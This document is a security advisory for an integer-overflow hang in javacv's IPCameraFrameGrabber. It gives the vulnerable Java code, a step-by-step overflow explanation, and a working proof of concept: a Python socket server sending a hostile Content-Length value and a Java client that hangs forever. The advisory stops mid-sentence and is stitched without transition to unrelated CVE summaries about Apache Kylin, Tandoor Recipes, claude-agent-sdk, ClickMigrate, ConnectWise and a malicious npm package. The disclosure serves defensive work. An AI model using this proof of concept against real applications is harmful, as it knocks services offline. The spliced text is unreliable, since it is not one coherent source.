### Summary
`IPCameraFrameGrabber` parses the `Content-Length` value from the multipart MJPEG HTTP stream returned by the configured IP camera without any bounds checking. A malicious or compromised camera endpoint - or any network attacker able to tamper with the plaintext HTTP response (these streams are conventionally accessed over `http://`, as documented in the class itself) - can supply a `Content-Length` value in the range `1073741825`-`2147483647`. This drives the internal buffer-growth routine `ensureBufferCapacity(int)` into 32-bit signed integer overflow, which turns the "grow the buffer" loop into a true infinite loop: the loop variable oscillates to `0` and never again satisfies the loop's exit condition. The thread that called `grab()`/`grabBufferedImage()` spins at 100% CPU forever and never returns, permanently hanging the calling application's frame-grabbing thread with no exception, timeout, or interrupt path available to the caller.
### Details
File: `src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java`
```java
private byte[] readImage() throws IOException {
...
int c0 = subheader.indexOf("content-length: ");
final int c1 = subheader.indexOf('\r', c0);
if (c0 < 0) {
throw new EOFException("The camera stream ended unexpectedly");
}
c0 += 16;
final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim()); // <-- fully attacker-controlled
// adaptive size - careful - don't want a 2G jpeg
ensureBufferCapacity(contentLength); // <-- no upper bound enforced
input.readFully(pixelBuffer, 0, contentLength);
...
}
private void ensureBufferCapacity(int desiredCapacity) {
int capacity = pixelBuffer.length; // starts at 1024
while (capacity < desiredCapacity) {
capacity *= 2; // <-- unchecked int multiplication
}
if (capacity > pixelBuffer.length) {
pixelBuffer = new byte[capacity];
}
}
```
`contentLength` is taken verbatim from the HTTP response headers of the camera stream and passed directly into `ensureBufferCapacity` with no upper-bound validation (the comment "adaptive size - careful - don't want a 2G jpeg" shows the author was aware of the risk but never implemented a check).
`ensureBufferCapacity` repeatedly doubles `capacity` (a 32-bit `int`, starting at `pixelBuffer.length == 1024`) until it is `>= desiredCapacity`. If `desiredCapacity` is greater than `2^30` (`1073741824`) but `<= Integer.MAX_VALUE` (`2147483647`):
1. `capacity` reaches `2^30` (`1073741824`) after 20 doublings; the loop condition `capacity < desiredCapacity` is still true.
2. `capacity *= 2` computes `2^31`, which overflows a signed 32-bit `int` and wraps to `Integer.MIN_VALUE` (`-2147483648`).
3. The loop condition `capacity < desiredCapacity` (a negative number compared to a large positive `desiredCapacity`) is still true, so the loop continues.
4. `capacity *= 2` computes `Integer.MIN_VALUE * 2`, which in two's-complement 32-bit arithmetic wraps to `0`.
5. From this point on, `capacity` is permanently `0` (`0 * 2 == 0`), and `0 < desiredCapacity` remains true forever - the `while` loop never terminates.
This is a pure CPU-bound loop with no I/O, no blocking call, and no `InterruptedException` check, so it cannot be interrupted via `Thread.interrupt()` and will not respect any `readTimeout`/`connectionTimeout` configured on the grabber (those only apply to the socket read that happens *before* this code path). The only remedy is killing the JVM/thread from outside.
### PoC
A minimal malicious/MITM'd MJPEG server that reproduces the hang:
```python
import socket
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 8080))
srv.listen(1)
print("listening on :8080")
conn, _ = srv.accept()
conn.recv(4096) # swallow the client's request
# Any value in (1073741824, 2147483647] triggers the overflow.
malicious_length = 2000000000
header = (
"--myboundary\r\n"
"Content-Type: image/jpeg\r\n"
"Content-Length: %d\r\n\r\n" % malicious_length
)
conn.sendall(header.encode())
# The client will now spin forever inside ensureBufferCapacity()
# before ever attempting to read the (fake) body.
```
Java client (representative of any application embedding javacv to view an "IP camera" URL):
```java
import org.bytedeco.javacv.IPCameraFrameGrabber;
import java.util.concurrent.TimeUnit;
public class Poc {
public static void main(String[] args) throws Exception {
IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(
"http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS);
grabber.start();
grabber.grab(); // never returns; thread pegs a CPU core at 100% forever
}
}
```
Running the client against the malicious server above causes `grab()` to hang permanently, consuming a full CPU core, regardless of
CVE-2026-108743 is an OS Command Injection vulnerability in Apache Kylin affecting versions from 4.0.4 through 5.0.4. The flaw involves improper neutralization of special elements used in OS commands, potentially allowing an attacker to execute arbitrary commands. The impact is primarily on Kylin services exposed directly to public networks, which is uncommon; most in-house deployments are not affected. The issue is fixed in version 5.0.5.
CVE-2026-96620 is a critical vulnerability in the anthropics claude-agent-sdk-python prior to version 0.2.121. The issue arises from improper input validation of the resume option passed to the Claude CLI, allowing an attacker to inject CLI flags such as --mcp-config. This can lead to arbitrary command execution at CLI startup, bypassing SDK permission controls. The vulnerability is fixed in version 0.2.121.
CVE-2026-108709 is a critical authentication bypass vulnerability in Apache Kylin affecting versions from 4.0.4 through 5.0.4. The flaw primarily impacts Kylin services exposed directly to public networks, which is uncommon, while typical in-house deployments are mostly unaffected. The issue allows attackers to bypass authentication, potentially leading to full compromise of confidentiality, integrity, and availability. Users are advised to upgrade to version 5.0.5, which addresses this vulnerability.
Apache Kylin versions 4.0.0 through 5.0.4 contain a vulnerability (CVE-2026-69080) that exposes the SQL Black List to unauthorized actors. This exposure can lead to sensitive information disclosure. The issue is resolved in Apache Kylin version 5.0.5.
CVE-2026-69077 is a vulnerability in Apache Kylin versions 4.0.0 through 5.0.4 that allows unauthorized exposure of sensitive information through cross-project job manipulation. The issue primarily affects Kylin services exposed directly to public networks, which is uncommon, and most in-house deployments are not impacted. The vulnerability has a high severity with a CVSS score of 7.5. Upgrading to Apache Kylin version 5.0.5 addresses this vulnerability.
CVE-2026-69076 is a vulnerability in Apache Kylin that allows unauthorized actors to access sensitive information related to job discard. This affects Apache Kylin versions from 4.0.0 through 5.0.4. The vulnerability primarily impacts Kylin services exposed directly to the public network, which is uncommon, while typical in-house deployments are mostly unaffected. The issue is fixed in version 5.0.5.
Apache Kylin versions 4.0.0 through 5.0.4 contain an improper authentication vulnerability (CWE-287) that allows unauthenticated users to access system cleanup actions. This issue primarily impacts Kylin services exposed directly to public networks, which is uncommon. The vulnerability is fixed in version 5.0.5.
CVE-2026-68572 is a high-severity vulnerability in Apache Kylin that allows exposure of sensitive information to unauthorized actors. It affects Apache Kylin versions from 4.0.0 up to and including 5.0.4. The vulnerability is addressed in version 5.0.5, which users are strongly advised to upgrade to.
ConnectWise is investigating unauthorized access attempts involving its Cloud Backup service, formerly SkyKick, which integrates with Microsoft 365 environments. Suspicious authentication activity has been detected, and containment measures are in place. There is no current evidence that partner backup data has been accessed. Organizations using ConnectWise Cloud Backup are advised to review their Microsoft Entra enterprise applications for specific indicators of compromise and consider disabling the affected application temporarily. The investigation is ongoing, and ConnectWise will provide updates as available.
The CKAN MCP server's DataStore Table UI resource fails to validate the origin of inbound postMessage events and sends outbound messages with a wildcard target origin '*'. This allows any window or frame that can reach the document to inject arbitrary data into the table, causing content spoofing and interference with the UI's handshake process. The vulnerability does not allow script injection but can cause display spoofing and disrupt user experience. The issue is considered low severity due to its dependency on the embedding context and limited direct remote exploitability.
Swoosh.Adapters.MsGraph constructs Microsoft Graph API request URLs by directly inserting the sender's email address into the URL path without encoding or validation. If the sender's address is derived from untrusted input, an attacker can inject URL-special characters to manipulate the request path and query string. This allows redirection of authenticated requests to other Graph endpoints within the token's scope, effectively enabling constrained server-side request forgery. Applications using fixed, trusted sender addresses are not affected. A patch is available to address this issue.
CVE-2026-59970 is a Server-Side Request Forgery (SSRF) vulnerability in Tandoor Recipes prior to version 2.6.10. The application improperly passes an administrator-controlled AI provider URL directly to LiteLLM without applying SSRF protections. This allows an authenticated user to configure an AI provider URL targeting internal network addresses and invoke AI actions that connect to these URLs, bypassing safe request checks. The vulnerability enables blind network reachability detection of internal hosts and ports, including cloud metadata endpoints. The issue is fixed in version 2.6.10.
CVE-2026-61726 is an improper access control vulnerability in Tandoor Recipes prior to version 2.6.12. The flaw allows authenticated users with read and write API scope within a shared Space to read and modify private recipe steps of other members in the same Space. This occurs because the API filters only by Space membership and role-level checks, not by recipe ownership or sharing permissions. Cross-Space access is not affected. The issue is fixed in version 2.6.12.
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.10, executes user-controlled Automation regular-expression patterns with Python re.sub() without complexity validation or an execution timeout when an authenticated user stores a catastrophic-backtracking regex and any user in the same Space imports a matching recipe. Request processing uses Automation.param_2, apply_regex_replace_automation, sub, api/recipe-from-source/. The attack works because the shared-Space automation engine evaluates the malicious pattern during recipe import and can occupy a Gunicorn worker until its request timeout. This can exhaust application worker slots and make the service unavailable to users. This issue is fixed in version 2.6.10.
ClickMigrate versions prior to 1.0.3 contain a path traversal vulnerability in the 'revision' command's '-m' argument. This flaw allows an attacker who can control the migration name to cause the tool to write a .sql file outside the intended migrations directory. Exploitation requires the ability to influence the migration name, such as via insecure automation or CI/CD pipelines. The issue has been fixed in version 1.0.3 by sanitizing the migration name input. Users should upgrade to 1.0.3 or later or restrict access to trusted users and validate migration names if immediate upgrade is not possible.
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.10, recipe utility endpoints retrieve same-Space Recipe objects without invoking the private-recipe owner or sharing permission when an authenticated member of a shared Space supplies another member's private recipe identifier to AI import, file, external-link, or share-link endpoints. Request processing uses api/ai-import/, api/get_recipe_file/, api/get_external_file_link/, api/share-link/, CustomRecipePermission. The attack works because the endpoints read private recipe files, send file bytes to the configured AI provider, or create and disclose external links without object-level authorization, and api/share-link/ can create a public link when Space sharing is enabled. This can expose private recipe files and sensitive uploaded content to another same-Space user and to configured external services. This issue is fixed in version 2.6.10.
The npm package @beloved-lenora/opencode-orchestrator contains malicious code that fully compromises any computer on which it is installed or running. Removal of the package does not guarantee elimination of all malicious software introduced. Immediate rotation of all secrets and keys stored on the affected computer is strongly advised.